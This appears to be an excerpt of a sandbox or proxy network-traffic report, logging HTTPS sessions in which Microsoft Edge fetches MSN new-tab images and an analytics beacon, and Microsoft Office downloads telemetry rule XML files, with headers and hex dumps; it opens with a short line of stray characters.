VXe*]y+/?#ZqKo%EIq#[NlMm$gevJ~FHnFcxm@t:dH9!k"W1-"`K}k19A:@ekRbR8o"dnL3p8DcNF05 EH(n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49911	104.117.182.56	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:49 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 00:41:49 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 19 Nov 2024 01:11:09 GMT X-Datacenter: westus X-ActivityId: d1332dc8-9c45-4f85-a99f-4fe76a720ba2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=217660 Expires: Thu, 28 Nov 2024 13:09:29 GMT Date: Tue, 26 Nov 2024 00:41:49 GMT Connection: close
2024-11-26 00:41:49 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49910	104.117.182.56	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:49 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 00:41:49 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=350106 Expires: Sat, 30 Nov 2024 01:56:55 GMT Date: Tue, 26 Nov 2024 00:41:49 GMT Connection: close
2024-11-26 00:41:49 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49913	104.117.182.56	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:49 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 00:41:49 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=235867 Expires: Thu, 28 Nov 2024 18:12:56 GMT Date: Tue, 26 Nov 2024 00:41:49 GMT Connection: close
2024-11-26 00:41:49 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49909	104.117.182.56	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:49 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 00:41:49 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=45991 Expires: Tue, 26 Nov 2024 13:28:20 GMT Date: Tue, 26 Nov 2024 00:41:49 GMT Connection: close
2024-11-26 00:41:49 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49914	104.117.182.56	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:49 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 00:41:49 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=333334 Expires: Fri, 29 Nov 2024 21:17:23 GMT Date: Tue, 26 Nov 2024 00:41:49 GMT Connection: close
2024-11-26 00:41:49 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49919	13.226.94.67	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:51 UTC	1012	OUT	GET /b2?rn=1732581705996&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3553E294F9366CAE0604F7D7F89E6D7D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=12Db443021fb10f4d2573941732581709; XID=12Db443021fb10f4d2573941732581709
2024-11-26 00:41:51 UTC	327	IN	HTTP/1.1 204 No Content Connection: close Date: Tue, 26 Nov 2024 00:41:51 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 837a2fd492e29e178331e21412a30df0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P10 X-Amz-Cf-Id: pWkWT4MTT7ktjquv1ncLTklc96Ac344bzaawjpLmvWrQJAIzkMLVbw==

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:51 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:51 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:51 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 89e8b03d-001e-0065-5291-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004151Z-174f78459685726chC1EWRsnbg0000000uvg000000000fh1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:51 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:51 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:51 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:51 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4f79ec39-601e-0070-0891-3fa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004151Z-174f7845968g6hv8hC1EWR1v2n00000002hg000000006nr0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:51 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:51 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:51 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:51 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: a1da7612-c01e-0014-5d80-3fa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004151Z-174f7845968nxc96hC1EWRspw80000000uhg000000000wv0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:51 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:51 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:51 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:51 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 4fa988ca-e01e-000c-2c91-3f8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004151Z-174f7845968g6hv8hC1EWR1v2n00000002kg000000005z11 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:51 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:51 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:51 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:51 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 1fa1d210-401e-0067-3791-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004151Z-174f7845968nxc96hC1EWRspw80000000ucg000000005x7n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:51 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 